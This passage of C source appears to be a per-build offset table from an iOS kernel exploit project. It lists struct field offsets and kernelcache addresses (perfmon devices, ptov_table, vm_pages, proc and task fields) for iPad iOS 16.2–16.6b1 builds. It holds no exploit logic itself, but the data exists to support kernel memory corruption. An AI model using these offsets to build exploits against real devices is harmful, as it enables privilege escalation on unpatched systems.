0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a91d190,\n            .kernelcache__gPhysBase = 0xfffffe00079840c8,\n            .kernelcache__gPhysSize = 0xfffffe00079840c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079822a8,\n            .kernelcache__perfmon_devices = 0xfffffe000a9583b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe0008087f50,\n            .kernelcache__ptov_table = 0xfffffe00078cf378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a957800,\n            .kernelcache__vm_pages = 0xfffffe00078cc090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ce328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9577f8,\n            .kernelcache__vn_kqfilter = 0xfffffe00080da50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,16\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a925190,\n            .kernelcache__gPhysBase = 0xfffffe00079841b0,\n            .kernelcache__gPhysSize = 0xfffffe00079841b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007982390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9603b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe0008087cc4,\n            .kernelcache__ptov_table = 0xfffffe00078cf3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a95f800,\n            .kernelcache__vm_pages = 0xfffffe00078cc0d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ce368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a95f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe00080da280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,16\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a925190,\n            .kernelcache__gPhysBase = 0xfffffe00079841b0,\n            .kernelcache__gPhysSize = 0xfffffe00079841b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007982390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9603b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe0008087cc4,\n            .kernelcache__ptov_table = 0xfffffe00078cf3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a95f800,\n            .kernelcache__vm_pages = 0xfffffe00078cc0d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ce368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a95f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe00080da280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,16\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f1208,\n            .kernelcache__gPhysBase = 0xfffffe0007a63fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a63fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a62198,\n            .kernelcache__perfmon_devices = 0xfffffe000aa2f520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080a43c0,\n            .kernelcache__ptov_table = 0xfffffe00079af188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2e990,\n            .kernelcache__vm_pages = 0xfffffe00079abeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ae128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2e988,\n            .kernelcache__vn_kqfilter = 0xfffffe00080f32b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,16\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f1208,\n            .kernelcache__gPhysBase = 0xfffffe0007a63fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a63fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a62198,\n            .kernelcache__perfmon_devices = 0xfffffe000aa2f520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080a43c0,\n            .kernelcache__ptov_table = 0xfffffe00079af188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2e990,\n            .kernelcache__vm_pages = 0xfffffe00079abeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ae128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2e988,\n            .kernelcache__vn_kqfilter = 0xfffffe00080f32b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,16\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f9288,\n            .kernelcache__gPhysBase = 0xfffffe0007a64100,\n            .kernelcache__gPhysSize = 0xfffffe0007a64100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a622d8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa37520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080a45c0,\n            .kernelcache__ptov_table = 0xfffffe00079af188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa36990,\n            .kernelcache__vm_pages = 0xfffffe00079abeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ae128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa36988,\n            .kernelcache__vn_kqfilter = 0xfffffe00080f374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,16\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n    // iPad Air 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,17\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a91d190,\n            .kernelcache__gPhysBase = 0xfffffe00079840c8,\n            .kernelcache__gPhysSize = 0xfffffe00079840c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079822a8,\n            .kernelcache__perfmon_devices = 0xfffffe000a9583b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe0008087f50,\n            .kernelcache__ptov_table = 0xfffffe00078cf378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a957800,\n            .kernelcache__vm_pages = 0xfffffe00078cc090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ce328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9577f8,\n            .kernelcache__vn_kqfilter = 0xfffffe00080da50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,17\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 